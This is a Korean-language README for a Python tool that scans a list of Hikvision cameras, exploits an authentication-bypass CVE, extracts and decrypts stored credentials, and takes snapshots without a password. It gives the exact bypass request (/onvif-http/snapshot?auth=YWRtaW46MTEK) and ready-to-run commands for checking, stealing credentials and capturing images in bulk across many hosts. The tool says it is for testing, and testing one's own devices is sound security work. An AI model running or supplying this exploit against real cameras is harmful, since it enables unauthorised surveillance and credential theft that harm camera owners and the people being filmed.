
HikVision 인증 우회 CVE, 도구는 자격 증명을 추출하고 magic cookie 또는 제공된 자격 증명을 기반으로 스냅샷을 찍을 수 있습니다.
파일에서 Hikvision 카메라를 나열하고 유효한 자격 증명(HTTP Basic 또는 Digest 인증) 또는 CVE 인증 우회를 사용하여 각각에서 스냅샷을 찍는 독립 실행형 도구입니다. 테스트 목적으로 다른 호스트에서 실행하도록 설계되었습니다.
host 또는 host:port)--save-snapshot--exploit을 사용하여 자격 증명 없이 CVE 우회 사용)--merge로 하나의 개요 이미지 생성. 의존성: requests, Pillow (--merge용)requestspip install -r requirements.txt
한 줄에 하나의 카메라를 포함하는 텍스트 파일을 만듭니다. #으로 시작하는 주석은 무시됩니다.
# Example cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
파일에서 읽은 카메라를 출력합니다 (자격 증명 불필요).
python hikvision_snapshots.py cameras.txt list
선택적 연결 가능성 확인 (각 호스트에 HTTP GET):
python hikvision_snapshots.py cameras.txt list -v
각 카메라에서 Hikvision 스냅샷 인증 우회 CVE를 테스트합니다. 자격 증명이 필요하지 않습니다.
python hikvision_snapshots.py cameras.txt check
취약한 카메라에 대해서만 스냅샷 저장:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
옵션: --timeout, --workers, -o (--save-snapshot용)
CVE를 통해 각 카메라에서 자격 증명을 추출합니다 (매직 인증으로 사용자 목록 및 구성 파일을 가져온 후 구성 복호화). 호스트에 OpenSSL이 필요합니다. 실행 시 자격 증명이 필요하지 않습니다.
python hikvision_snapshots.py cameras.txt credentials
옵션: --timeout, --workers.
각 카메라에서 자격 증명이 작동하는지 확인합니다 (동일한 스냅샷 엔드포인트 사용; 이미지 저장 안 함).
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
옵션: --timeout, --workers, --digest (스냅샷과 동일)
카메라당 하나의 스냅샷을 찍어 JPEG로 저장합니다. 유효한 자격 증명 또는 --exploit (CVE 인증 우회, 자격 증명 불필요)을 사용합니다.
# With credentials
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# With CVE exploit (no credentials)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ 디렉토리에 저장됩니다 (-o로 변경 가능).host 또는 host_port에서 파생됩니다 (예: 192_168_1_100.jpg, nvr_local_8080.jpg).옵션:
--merge 사용 시, 각 스냅샷을 저장한 후 도구는 출력 디렉토리에 카메라당 하나의 셀과 레이블이 있는 단일 그리드 이미지(overview.jpg)를 만듭니다. Pillow 필요 (pip install Pillow).
사용자 정의 출력 및 Digest 인증 예제:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
병합 개요 예제:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# 또는 exploit 사용 (자격 증명 없음):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
인증된 스냅샷 (자격 증명 사용): 스크립트는 순서대로 시도합니다 – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.
CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (매직 인증 우회, 자격 증명 불필요).
hikvision_snapshots.py, requirements.txt, 카메라 목록 파일을 호스트로 복사합니다.pip install -r requirements.txtlist 실행하여 파일 확인; CVE 확인은 check, 자격 증명 확인은 auth-check, 스냅샷은 snapshot (-u/-p 또는 --exploit 사용) 실행.호스트가 모든 카메라 IP 및 포트에 네트워크 액세스가 가능한지 확인하십시오.
| 옵션 | 설명 | 기본값 |
|---|
-u, --username | 카메라 사용자 이름 | --exploit 사용 시 필수 아님 |
-p, --password | 카메라 비밀번호 | --exploit 사용 시 필수 아님 |
--exploit | CVE 매직 인증 우회 사용 (자격 증명 불필요) | 꺼짐 |
-o, --output-dir | 스냅샷 이미지 디렉토리 | snapshots |
--timeout | HTTP 타임아웃 (초) | 15 |
--workers | 동시 스냅샷 요청 수 | 10 |
--digest | Basic 대신 HTTP Digest 인증 사용 | 꺼짐 |
--merge | 모든 스냅샷을 하나의 개요 이미지로 병합 | 꺼짐 |
--merge-columns | 병합 그리드 열 수 (기본값: 자동) | 자동 |